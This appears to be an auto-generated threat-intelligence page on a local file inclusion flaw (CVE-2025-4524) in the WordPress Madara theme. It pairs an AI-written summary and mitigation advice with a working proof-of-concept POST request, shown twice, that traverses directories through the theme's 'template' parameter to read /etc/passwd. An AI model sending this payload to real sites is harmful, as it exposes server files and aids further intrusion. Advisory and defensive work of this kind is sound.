WordPress Madara - Local File Inclusion
WordPress Madara - Local File Inclusion
AI Analysis
Technical Summary
The WordPress Madara theme contains a local file inclusion vulnerability (CVE-2025-4524) that can be exploited by sending a specially crafted POST request to /wp-admin/admin-ajax.php with manipulated parameters to include arbitrary files from the server filesystem. The exploit targets the 'madara_load_more' action and abuses the 'template' parameter to traverse directories and access sensitive files such as /etc/passwd. Public exploit code is available, written as a POST request example. No affected versions or patch information is provided in the data.
Potential Impact
Successful exploitation of this vulnerability can lead to unauthorized disclosure of sensitive files on the server, potentially exposing system information and configuration details. This can aid attackers in further attacks or privilege escalation. However, no evidence of active exploitation in the wild is reported.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, consider restricting access to the vulnerable endpoint and applying web application firewall (WAF) rules to detect and block attempts to exploit local file inclusion via the 'template' parameter in admin-ajax.php POST requests.
Indicators of Compromise
- exploit-code: # Exploit Title: WordPress Madara Local File Inclusion # Date: November 1, 2025 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: WordPress Theme Madara # Software Link: WordPress Theme Madara # Tested on: [OS / PHP / WordPress versions used in testing — e.g., Ubuntu 22.04, PHP 8.1, WP 6.4] # CVE: CVE-2025-4524 #Attack Vector body="/wp-content/plugins/madara/" #POC POST /wp-admin/admin-ajax.php HTTP/2 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 490 action=madara_load_more&page=1&template=plugins/../../../../../../../etc/passwd&vars%5Borderby%5D=meta_value_num&vars%5Bpaged%5D=1&vars%5Btimerange%5D=&vars%5Bposts_per_page%5D=16&vars%5Btax_query%5D%5Brelation%5D=OR&vars%5Bmeta_query%5D%5B0%5D%5Brelation%5D=AND&vars%5Bmeta_query%5D%5Brelation%5D=AND&vars%5Bpost_type%5D=wp-manga&vars%5Bpost_status%5D=publish&vars%5Bmeta_key%5D=_latest_update&vars%5Border%5D=desc&vars%5Bsidebar%5D=right&vars%5Bmanga_archives_item_layout%5D=big_thumbnail
WordPress Madara - Local File Inclusion
Description
WordPress Madara - Local File Inclusion
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The WordPress Madara theme contains a local file inclusion vulnerability (CVE-2025-4524) that can be exploited by sending a specially crafted POST request to /wp-admin/admin-ajax.php with manipulated parameters to include arbitrary files from the server filesystem. The exploit targets the 'madara_load_more' action and abuses the 'template' parameter to traverse directories and access sensitive files such as /etc/passwd. Public exploit code is available, written as a POST request example. No affected versions or patch information is provided in the data.
Potential Impact
Successful exploitation of this vulnerability can lead to unauthorized disclosure of sensitive files on the server, potentially exposing system information and configuration details. This can aid attackers in further attacks or privilege escalation. However, no evidence of active exploitation in the wild is reported.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, consider restricting access to the vulnerable endpoint and applying web application firewall (WAF) rules to detect and block attempts to exploit local file inclusion via the 'template' parameter in admin-ajax.php POST requests.
Technical Details
- Edb Id
- 52487
- Has Exploit Code
- true
- Code Language
- text
Indicators of Compromise
Exploit Source Code
Exploit code for WordPress Madara - Local File Inclusion
# Exploit Title: WordPress Madara Local File Inclusion # Date: November 1, 2025 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: WordPress Theme Madara # Software Link: WordPress Theme Madara # Tested on: [OS / PHP / WordPress versions used in testing — e.g., Ubuntu 22.04, PHP 8.1, WP 6.4] # CVE: CVE-2025-4524 #Attack Vector body="/wp-content/plugins/madara/" #POC POST /wp-admin/admin-ajax.php HTTP/2 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/2010... (705 more characters)
Threat ID: 69d4e432aaed68159a0d45a3
Added to database: 4/7/2026, 11:02:10 AM
Last enriched: 4/7/2026, 11:03:19 AM
Last updated: 4/7/2026, 3:12:56 PM
Views: 4
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